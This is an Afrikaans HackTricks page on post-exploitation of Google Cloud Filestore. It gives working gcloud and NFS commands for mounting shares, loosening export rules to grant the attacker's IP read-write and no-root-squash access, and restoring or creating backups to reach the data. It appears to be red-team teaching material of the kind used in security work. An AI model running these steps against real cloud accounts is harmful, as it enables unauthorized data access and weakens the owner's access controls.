GCP - Filestore Post Exploitation

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Filestore

Vir meer inligting oor Filestore, kyk:

pageGCP - Filestore Enum

Monteer Filestore

'n Gedeelde lêersisteem kan sensitiewe inligting bevat wat interessant kan wees vanuit 'n aanvaller se perspektief. Met toegang tot die Filestore is dit moontlik om dit te monteer:

sudo apt-get update
sudo apt-get install nfs-common
# Check the share name
showmount -e <IP>
# Mount the share
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs

Om die IP-adres van 'n filestore-instansie te vind, kyk na die enumerasie-afdeling van die bladsy:

pageGCP - Filestore Enum

Verwyder Beperkings en kry ekstra toestemmings

As die aanvaller nie in 'n IP-adres met toegang tot die deel het nie, maar jy het genoeg toestemmings om dit te wysig, is dit moontlik om die beperkings of toegang daaroor te verwyder. Dit is ook moontlik om meer voorregte oor jou IP-adres te verleen om administratiewe toegang tot die deel te hê:

gcloud filestore instances update nfstest \
--zone=<exact-zone> \
--flags-file=nfs.json

# Contents of nfs.json
{
"--file-share":
{
"capacity": "1024",
"name": "<share-name>",
"nfs-export-options": [
{
"access-mode": "READ_WRITE",
"ip-ranges": [
"<your-ip-private-address>/32"
],
"squash-mode": "NO_ROOT_SQUASH",
"anon_uid": 1003,
"anon_gid": 1003
}
]
}
}

Herstel 'n rugsteun

As daar 'n rugsteun is, is dit moontlik om dit in 'n bestaande of nuwe instansie te herstel, sodat die inligting toeganklik word:

# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
--zone=<zone> \
--tier=STANDARD \
--file-share=name=vol1,capacity=1TB \
--network=name=default,reserved-ip-range=10.0.0.0/29

# Restore a backups in a new instance
gcloud filestore instances restore <new-instance-name> \
--zone=<zone> \
--file-share=<instance-file-share-name> \
--source-backup=<backup-name> \
--source-backup-region=<backup-region>

# Follow the previous section commands to mount it

Skep 'n rugsteun en herstel dit

As jy nie toegang het tot 'n deel nie en dit nie wil wysig nie, is dit moontlik om 'n rugsteun daarvan te skep en dit soos voorheen te herstel:

# Create share backup
gcloud filestore backups create <back-name> \
--region=<region> \
--instance=<instance-name> \
--instance-zone=<instance-zone> \
--file-share=<share-name>

# Follow the previous section commands to restore it and mount it
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated